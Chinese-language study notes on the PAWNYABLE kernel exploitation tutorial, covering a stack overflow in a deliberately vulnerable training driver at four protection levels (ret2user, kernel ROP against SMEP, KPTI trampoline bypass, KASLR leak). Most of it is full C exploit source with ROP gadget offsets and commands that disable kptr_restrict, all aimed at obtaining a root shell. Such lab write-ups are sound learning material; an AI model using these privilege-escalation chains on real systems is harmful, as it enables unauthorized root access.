PAWNYABLE kernel stack overflow 笔记
PAWNYABLE 中的第一节 stack overflow 的学习笔记。( 觉得这个教程好细致,而且封面好可爱... 这一节讨论内核的栈溢出,分成了不同防护程度的情况来讨论不同的情况下面,攻击应该如何进行。
基本的思路
在 module_write 里面,copy_from_user 的大小是用户控制,大小没有检查的。可以在这里发生溢出。read 也有这个漏洞,可以读取更多的数据(
_QWORD *v4; // rcx
_QWORD buf[128]; // [rsp+20h] [rbp-400h] BYREF
memset(buf, 0, sizeof(buf));
printk(&unk_3FE);
if ( copy_from_user(buf, a2, a3) )
{
printk(&unk_415);
return -22LL;
}
从而控制返回地址
- 提权的方式是设置 cred 结构
使用 prepare_kernel_cred(NULL)
来布置 init cred (6.2 之后不能这么干了,只能自己找到 init cred 的地址)。commit_creds
布置到当前进程。(这写可以用 ROP 来完成。
- 用户态切换
iretq
从内核态到用户空间,swapgs
用来更换页表 GS
。iretq 需要布置的寄存器大概有:
rsp ---> rip
cs
rflags
rsp
ss
level 0:ret2user
环境:
未开启 smep smap kaslr
由于这次 SMEP 被禁用,位于用户空间内存中的代码可以从内核空间执行。换句话说,可以简单地用 C 语言编写 prepare_kernel_cred
、 commit_creds
、 swapgs
iretq
的流程。
直接在 /proc/kallsyms
找到符号的的地址。但是,如果直接读取的话,即使是 root 里面的值是全 0。要求不能开启 kptr 注释掉这一行: echo 2 > /proc/sys/kernel/kptr_restrict
才能看见。
/ # whoami
root
/ # cat /proc/kallsyms | grep commit_creds
0000000000000000 T commit_creds
/ # echo 0 > /proc/sys/kernel/kptr_restrict
/ # cat /proc/kallsyms | grep commit_creds
ffffffff8106e390 T commit_creds
现在就可以拿到;两个内核的函数的地址了。在 exp 里面直接写,写法是 function-pointers
char* (*pkc)(int) = (void *)prepare_kernel_cred;
int (*cc)(char *) = (void *)commit_creds;
(*cc)((*pkc)(0));
这时候那么如何返回到用户的空间呢...?
可以使用 iretq 来返回到用户空间,需要事先把几个寄存器给保留一下。
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void binsh(){
puts("get shell");
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
execve("/bin/sh", argv, envp);
}
void restore_status() {
// 在栈上布置 iretq 的参数
asm volatile(
"swapgs \n\t"
"movq %0, 0x8(%%rsp)\n\t"
"movq %1, 0x10(%%rsp)\n\t"
"movq %2, 0x18(%%rsp)\n\t"
"movq %3, 0x20(%%rsp)\n\t"
"movq %4, (%%rsp)\n\t"
"iretq\n\t"
: // no output
: "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh)
: "memory");
}
打断点,在 /proc/kallsyms
里面找到符号的地址
/ # cat /proc/kallsyms | grep module_write
ffffffffc0000120 t module_write [vuln]
也可以直接找到加载地址。不能有 kptr 保护
/ # whoami
root
/ # echo 0 > /proc/sys/kernel/kptr_restrict
/ # cat /sys/module/vuln/sections/.text
0xffffffffc0000000
exp
完整的 exp 就是
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
// some definations
#define VULN_SIZE 0x450
#define BUF_SIZE 0x400
uint64_t commit_creds = 0xffffffff8106e390;
uint64_t prepare_kernel_cred = 0xffffffff8106e240;
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void binsh(){
puts("get shell");
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
execve("/bin/sh", argv, envp);
}
void restore_status() {
// 在栈上布置 iretq 的参数
asm volatile(
"swapgs \n\t"
"movq %0, 0x8(%%rsp)\n\t"
"movq %1, 0x10(%%rsp)\n\t"
"movq %2, 0x18(%%rsp)\n\t"
"movq %3, 0x20(%%rsp)\n\t"
"movq %4, (%%rsp)\n\t"
"iretq\n\t"
: // no output
: "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh)
: "memory");
}
void hack() {
// struct cred *prepare_kernel_cred(struct task_struct *daemon)
// int commit_creds(struct cred *new)
char *(*pkc)(int) = (void *)prepare_kernel_cred;
int (*cc)(char *) = (void *)commit_creds;
(*cc)((*pkc)(0));
restore_status();
}
int main() {
puts("saving status");
save_status();
puts("saved status");
int fd = open("/dev/holstein", O_RDWR);
char buf[VULN_SIZE];
memset(buf, 0x12, BUF_SIZE);
*((uint64_t *)buf + 129) = (uint64_t) &hack;
write(fd, buf, VULN_SIZE);
puts("wrote");
}
然后就可以 get shell 咯
[ Holstein v1 (LK01) - Pawnyable ]
/ $ whoami
whoami: unknown uid 1337
/ $ ./exp
saving status
saved status
get shell
/ # whoami
root
level 1:krop
开启了 semp 保护之后不能直接 ret 2 user,这里可以借助 ROP 来完成。
首先使用 extract-vmlinux 脚本导出 vmlinux。使用 ropr 来寻找 gadget(对这种大型的文件的适应比较好...?)
需要把 prepare_kernel_cred
返回值传递给 commit_creds
,相当于 mov rdi, rax; ret;
如果没有 mov rdi, rax 如何操作
使用 ropper 可以找到比 ropr 更多的 gadget,提前把 rcx 设置成 0,然后跳转到 mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
指令。(否则 rep movsq 可能报错)。
ropper --file vmlinux --search "mov rdi, rax"
0xffffffff8160c96b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
而且 ropper 可以搜索到 iretq
,感觉比原文章里面推荐的 ropr 更厉害一点点?
除了找到这一条 gadget 还有其他方法 GitHub - fengjixuchui/rop_linux_kernel_pwn: learn rop of linux kernel pwn
----------------------------------------------------------------------------------------------------- stack ----
$rsp 0xffffc90000567ef0|+0x0000|+000: 0x0000000000401895 -> 0xe5894855fa1e0ff3 <- retaddr[1]
$r15 0xffffc90000567ef8|+0x0008|+001: 0x0000000000000033
0xffffc90000567f00|+0x0010|+002: 0x0000000000000202
0xffffc90000567f08|+0x0018|+003: 0x00007ffd16500bf0 -> 0x00007ffd16500c10 -> 0x00007ffd16500cb0 -> ... <- retaddr[4]
0xffffc90000567f10|+0x0020|+004: 0x000000000000002b
0xffffc90000567f18|+0x0028|+005: 0x0000000000000000
0xffffc90000567f20|+0x0030|+006: 0x0000000000000000
0xffffc90000567f28|+0x0038|+007: 0x0000000000000000
--------------------------------------------------------------------------------- code: x86:64 (gdb-native) ----
0xffffffff810202a7 8cc8 <NO_SYMBOL> mov eax, cs
0xffffffff810202a9 50 <NO_SYMBOL> push rax
0xffffffff810202aa 68b1020281 <NO_SYMBOL> push 0xffffffff810202b1
-> 0xffffffff810202af 48cf <NO_SYMBOL> iretq
-> 0x401895 f30f1efa <NO_SYMBOL> endbr64
0x401899 55 <NO_SYMBOL> push rbp
0x40189a 4889e5 <NO_SYMBOL> mov rbp, rsp
0x40189d 4883ec30 <NO_SYMBOL> sub rsp, 0x30
0x4018a1 64488b042528000000 <NO_SYMBOL> mov rax, QWORD PTR fs:0x28
0x4018aa 488945f8 <NO_SYMBOL> mov QWORD PTR [rbp - 0x8], rax
exp
完整的 exp 就是:
// some definations
#define VULN_SIZE 0x500
#define BUF_SIZE 0x400
char buf[VULN_SIZE];
uint64_t commit_creds = 0x06e390;
uint64_t prepare_kernel_cred = 0x06e240;
uint64_t user_cs, user_ss, user_rflags, user_sp;
// ropr
uint64_t kbase = 0xffffffff81000000;
uint64_t pop_rdi_ret = 0x27bbdc;
uint64_t pop_rcx_ret = 0x2ea083;
uint64_t mov_rdi_rax_ret = 0x60c96b;
uint64_t iretq = 0x0202af;
uint64_t swapgs = 0x60bf7e;
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void krop() {
uint64_t rop[] = {
pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
swapgs + kbase,
iretq + kbase,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss
};
// no overflow...?
memcpy(buf + 0x408, rop, sizeof(rop));
}
level 2:开启 kpti
可以使用 swapgs
中的 iretq
返回到用户空间,但由于 KPTI,页面目录仍保留在内核空间中,因此用户空间中的页面不可读。这句话是什么意思?
gs 寄存器变化了,但是页表并没有切换,所以寻址是找不到的。
使用一个临时栈来切换内核和用户的状态,防止把内核状态泄露给用户。STACKLEAK_ERASE_NOCLOBBER
这是一个宏,通常用于清除栈上的敏感数据,以避免栈泄漏。它的作用是在不破坏寄存器内容的情况下擦除栈上的数据,防止泄露给恶意用户。
[!question] 为什么要有一个 trampoline stack
不能直接清空么。好像不可以,因为 iret(interupt return 的时候会用到栈上的东西,这就没办法清除了。)
// swapgs_restore_regs_and_return_to_usermode
POP_REGS pop_rdi=0 // pop 各个 regs 但是排除 rdi
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY
/* Copy the IRET frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */
/* Push user RDI on the trampoline stack. */
pushq (%rdi)
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
* 这是一个宏,通常用于清除栈上的敏感数据,以避免栈泄漏。它的作用是在不破坏寄存器内容的情况下擦除栈上的数据,防止泄露给恶意用户。
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN
解决方法是 直接仿造一个假的 trampoline stack。 如下:
rsp | rax |
---|---|
rdi | |
rip | |
cs | |
eflags | |
rsp | |
ss |
swapgs 和切换 cr 3 的顺序...? gadget 里面自带了 swapgs 不需要再 rop 里面再写一遍了
exp
void krop_with_cr3() {
uint64_t rop[] = {
pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss
};
// no overflow...?
memcpy(buf + 0x408, rop, sizeof(rop));
}
level 3:加上 kaslr
内核保留了从 0xffffffff 80000000 到 0xffffffffc 0000000 的 1 GB 地址空间。因此,即使使能 KASLR,也仅生成从 0x810 到 0xc00 的 0x3f0 基地址。
提前泄露一下偏移就可以了。
exp
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>
// some definations
#define VULN_SIZE 0x500
#define LEAK_SIZE 0x410
#define BUF_SIZE 0x400
char leak[LEAK_SIZE];
char buf[VULN_SIZE];
uint64_t commit_creds = 0x06e390;
uint64_t prepare_kernel_cred = 0x06e240;
uint64_t user_cs, user_ss, user_rflags, user_sp;
// ropr
uint64_t kbase = 0xffffffff81000000;
uint64_t pop_rdi_ret = 0x27bbdc;
uint64_t pop_rcx_ret = 0x2ea083;
uint64_t mov_rdi_rax_ret = 0x60c96b;
uint64_t iretq = 0x0202af;
uint64_t swapgs = 0x60bf7e;
uint64_t srrartu = 0x800e44;
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void krop() {
uint64_t rop[] = {
pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
swapgs + kbase,
iretq + kbase,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss
};
// no overflow...?
memcpy(buf + 0x408, rop, sizeof(rop));
}
void krop_with_cr3() {
uint64_t rop[] = {
pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss
};
// no overflow...?
memcpy(buf + 0x408, rop, sizeof(rop));
}
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void restore_status() {
// 在栈上布置 iretq 的参数
asm volatile("swapgs \n\t"
"movq %0, 0x8(%%rsp)\n\t"
"movq %1, 0x10(%%rsp)\n\t"
"movq %2, 0x18(%%rsp)\n\t"
"movq %3, 0x20(%%rsp)\n\t"
"movq %4, (%%rsp)\n\t"
"iretq\n\t"
: // no output
: "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss),
"r"(&binsh)
: "memory");
}
void hack() {
// struct cred *prepare_kernel_cred(struct task_struct *daemon)
// int commit_creds(struct cred *new)
char *(*pkc)(int) = (void *)prepare_kernel_cred + kbase;
int (*cc)(char *) = (void *)commit_creds + kbase;
(*cc)((*pkc)(0));
restore_status();
}
void ret2user() {
memset(buf, 0x12, BUF_SIZE);
*((uint64_t *)buf + 129) = (uint64_t)&hack;
}
int main() {
puts("saving status");
save_status();
puts("saved status");
int fd = open("/dev/holstein", O_RDWR);
read(fd, leak, 0x410);
kbase = *(uint64_t *) (leak + 0x408) - 0x13d33c;
print_hex("kbase", kbase);
krop_with_cr3();
write(fd, buf, VULN_SIZE);
puts("wrote");
}